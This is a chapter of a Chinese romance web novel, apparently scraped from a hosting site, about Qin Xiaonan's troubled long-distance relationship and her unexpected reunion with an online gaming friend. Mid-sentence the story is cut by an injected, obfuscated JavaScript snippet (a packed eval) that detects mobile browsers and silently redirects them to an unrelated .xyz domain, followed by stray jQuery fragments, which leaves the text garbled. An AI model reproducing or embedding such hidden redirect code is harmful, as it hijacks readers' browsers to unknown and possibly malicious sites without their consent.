52. 重逢

作品:《蒙尘

    研一快结束的暑假,赵子非刚刚结束长达两个月的全封闭培训,有了一周假期;而他居然破天荒的主动表示可以来秦筱楠这边呆一周,这倒是让秦筱楠受宠若惊起来。


    这是他第一次来找秦筱楠——


    “谁找谁有什么不一样呢?在一起不就行了?你来住我家,又能多跟我爸妈接触接触,剩下的住宿费咱们出去吃好吃的不香吗?”


    赵子非这样说着,理所应当又天经地义。


    至于承诺的什么每周来看她,什么考F大就是为了方便来照顾她...秦筱楠懒得跟他计较,也不敢去细想这背后,赵子非对于感情的疏忽和倦怠。


    在高铁站出口等了许久,秦筱楠终于看到了赵子非拖着行李箱随着人流出来的身影;看到爱人熟悉又陌生的脸庞,她下意识微微踮起脚,抬起了胳膊想要招呼他,却又被难言的情感击中,无力地垂下了手。


    在此之前,二人因为一场剧烈的争吵,险些走到了分手的地步;尽管最后彼此都没有提分开,谁也不愿低头的冷战却一直持续到这次见面。


    事情的起因不过是电话时秦筱楠一句无心的抱怨:咱们异地的这两年里,你为什么不肯碰我?为什么哪怕是在我的再三要求下,你也推三阻四,要么便是力不从心?


    赵子非在操场跑步,背景音里传来他粗重的呼吸声;他擦了擦满头的汗,对她又提起这件事而忍不住心生厌恶。


    “你欲望就那么强吗?”


    积压许久的委屈终于爆发,秦筱楠不明白,是他不爱了吗?是自己不够漂亮,不够好,不够有吸引力,才会让他连正常的男欢女爱都排斥吗?


    她委屈,她憋闷,她无法与人言说。


    她理解,没有一个男生愿意自己被女朋友说不行,更不想让这种事有任何第三人知晓,所以她一直忍着,生怕哪一句话便会刺痛他脆弱的自尊。


    可是这样的日子实在太难熬;她有时会自嘲的想,旧社会那些年轻守寡的女人,是不是也是在如此痛苦的境地下,选择了铤而走险?


    情绪到了顶点,她终于愤怒质问:“是我欲望强还是你不行?我在家考研的那一年,你从来没想过来见我,也不让我过去找你,好不容易见了面,你说太久没做了,紧张,我体谅了;这一年我每周末往你家跑,你说爸妈在家要克己复礼,说工作太累看装修太忙,你到底是因为忙还是因为不爱了!?”


    “...神经病。”


    赵子非在电话那头上气不接下气,仿佛下一秒就要被她气的晕厥过去;平复了许久,他在秦筱楠愈发大的哭声中,冷冷地说了句:“没见过哪个女的像你这么饥渴的。”


    那天晚上,最早回来的室友小白被秦筱楠哭的上气不接下气的样子吓了一跳;她小心翼翼地走到秦筱楠身后,小声询问着发生了什么事,秦筱楠终于忍不住把自己的委屈全盘托出。


    “我靠,这臭不要脸的死男人,家里没有镜子总有尿吧?不看看自己是什么东西呢,长成那个样子还好意思说这种b话?”小白气的骂骂咧咧,“真把自己当太子了,还得你求着他宠幸不成?贱不贱啊?”


    秦筱楠被她逗得扑哧一声笑了,闷闷的鼻子险些吹出个鼻涕泡来;拍拍小白的肩膀,秦筱楠叹了口气:“可能他压力也很大吧。”


    “不是呢姐?你还给他开脱呢,难怪大家对你的评价都是富太太傻白甜,你真是...”小白想到平时师门的朋友对秦筱楠的评价,突然一阵气闷,“你明明比他优秀那么多,你就甘愿做个金丝雀,永远被他牵着鼻子走,跟个傻子一样被他骗得团团转?醒醒吧姐,我建议你好好查查他有没有出轨才是正事。”


    出轨?


    秦筱楠觉得有些好笑,无奈地叹了句:“那他倒是不会,他不是那种人。再说了,他长那样还能出轨?”


    小白越发觉得自己的室友是个彻头彻尾的傻白甜。


    “男人长得越丑玩的越花,真的,越是癞蛤蟆越能作妖,你永远记住,吃亏了别怪我没提醒你。”


    秦筱楠笑了笑不知可否,哭得红肿的眼睛看到床边挂着的一串名牌包包,笑意又添上了几分自嘲;这些包包都是赵子非的妈妈买了又觉得不合适的款式,收拾屋子时随手便一起送给了秦筱楠,带到学校后却引起了一阵羡慕,小姐妹们感叹着包的价值和限量有多么难抢时,秦筱楠甚至是从她们口中第一次听闻那些长串英文名的牌子。


    或许正是这些对她毫无价值的名贵之物,将她拖入了更深的泥泞。


    秦筱楠其实也听到过一两次别人对她的风言风语——


    “Z大的考F大?想不开?”


    “哦...那你要说是有钱人家的预备儿媳妇,那就合理了,靠人家公公,以后不愁工作,跟咱们这些苦逼青年不一样。”


    “女人就是好啊,长得好就能逆天改命。”


    “嗐,什么学不学的好的,她那个Z大学历指不定怎么来的呢,女人嘛,用得着努力吗?”


    ...


    这些直白的怀疑和嫉妒听得多了,秦筱楠感觉自己的思想也有些被同化了;在最初的愤怒过后,她甚至也会产生一丝“对啊,那咋了,谁叫我就是能攀上高枝呢?”以及“你们是在嫉妒我对象对我好吗?”这样可笑的情绪。


    她骗自己,愿意和赵子非继续,愿意做攀援的菟丝花,是因为爱。


    她不敢承认,自己安于现状,沉醉于相对宽裕的物质条件,和他家勾勒出的关于未来的美好蓝图。


    这次的久别重逢没有以拥抱开场,赵子非嘴角提着笑得弧度,看她的眼神却不剩多少温情;秦筱楠接过他手里提着的袋子,二人并肩却沉默地向站外走去。


    “...培训辛苦吗?”在出租车上,秦筱楠看了赵子非好几眼,发现他一直盯着窗外只留给自己侧脸,还是先开口问道。


    赵子非仿佛很满意她先低头的态度,语气缓和了许多:“还行吧,比上班轻松。”


    “嗯。”秦筱楠低着头应了,“等下东西放下就过去吃饭?”


    赵子非和


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15838717|175306||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    他的那个同事都有了假期,他同事已经提前来找明明玩了,难得平常一起五排的人凑到一起,明明便提议今天中午他请客吃饭。


    秦筱楠是个极致的淡人,平日除了试验室和宿舍,几乎从来不出门瞎转;即便每晚都一起打游戏,对明明也十分好奇,她倒也从来没想过在学校线下认识一下对方。


    明明约的是一家特色餐馆,隐藏在一条十分古朴的巷子里;赵子非和秦筱楠之间的关系此时多少稍微缓和了几分,他也主动牵上了秦筱楠的手,两个人走在窄窄的巷弄里,倒有了几分上大学时逛旅游景点的感觉。


    【你们到哪了?我跟明明已经到了,888包间。】


    赵子非的同事给他发来消息,赵子非看了一眼,突然有些想去卫生间,便将手里提的酒递给秦筱楠:“你先去,或者等等我也行。”


    秦筱楠掂了掂那两瓶沉甸甸的白酒,决定自己先进去。


    反正他同事自己也见过不止一次了,天天一起打游戏,多少也算是至交。


    她提着袋子艰难地推开那扇沉重的大门,包厢里的冷气瞬间窜了出来,铺在眼球上寒津津的有些干涩,屋内坐着聊天的两人也都将目光投向了门口。


    秦筱楠第一眼看到的是见过好几次的那个同事,余光中,他身旁那人却牢牢吸引住了她的眼睛。


    依旧是黑色紧身的背心,一件条纹衬衫外套闲闲搭在宽阔的肩膀上,穿着工装裤的两条长腿自然分开,整个人靠在椅子后背,手臂伸着搭在桌沿,食指有一搭没一搭地轻叩着桌面。


    倒是换了现下时兴的发型...


    碎发点缀在额前,在那双深重的瞳孔前投下了细碎的光影。


    在最初的震惊后,秦筱楠发觉与他对视的时间或许有些久了,久到身为中间人的同事左右打量了他们好几回。


    林晏明终于恢复了表情管理,又挂上了那副吊儿郎当的笑容;他站起身,几步便到了秦筱楠身前,一手接过她提着的酒,一手绅士地比出了握手的姿势。


    “你好啊,小卤蛋。”


    经历了最初给他打辅助的时间后,在明明的一再鼓励下,秦筱楠开始尝试打射手;而明明也用一手国服钟馗给她创造了无比舒服的发育环境,她只需要一直平a,乱打也能发育得很好,而明明也再没有玩过别的英雄,每天都是“小卤蛋来清线”“小卤蛋来打河道蟹”这样称呼着她。


    如今故人重逢,又第一次听到他在线下这样称呼自己,秦筱楠一时间被喜悦和诧异冲昏了头脑——


    是啊,自己从未想过,自己怎么从未想过...河北还有他,而命运兜兜转转,竟让自己在七八年后又遇见了他,居然还是以朋友的朋友的对象这种...奇怪的身份。


    她伸出手,让自己冷的有些发颤的手轻轻放在他暖和的大手中,而他紧紧的反握住,像是要将她从深水中拽出来,强迫她永远用那双湿漉漉的、无辜的眼睛看着自己,只看着自己。


    最热烈的端坐着,最冷冽的却自深处攀附着。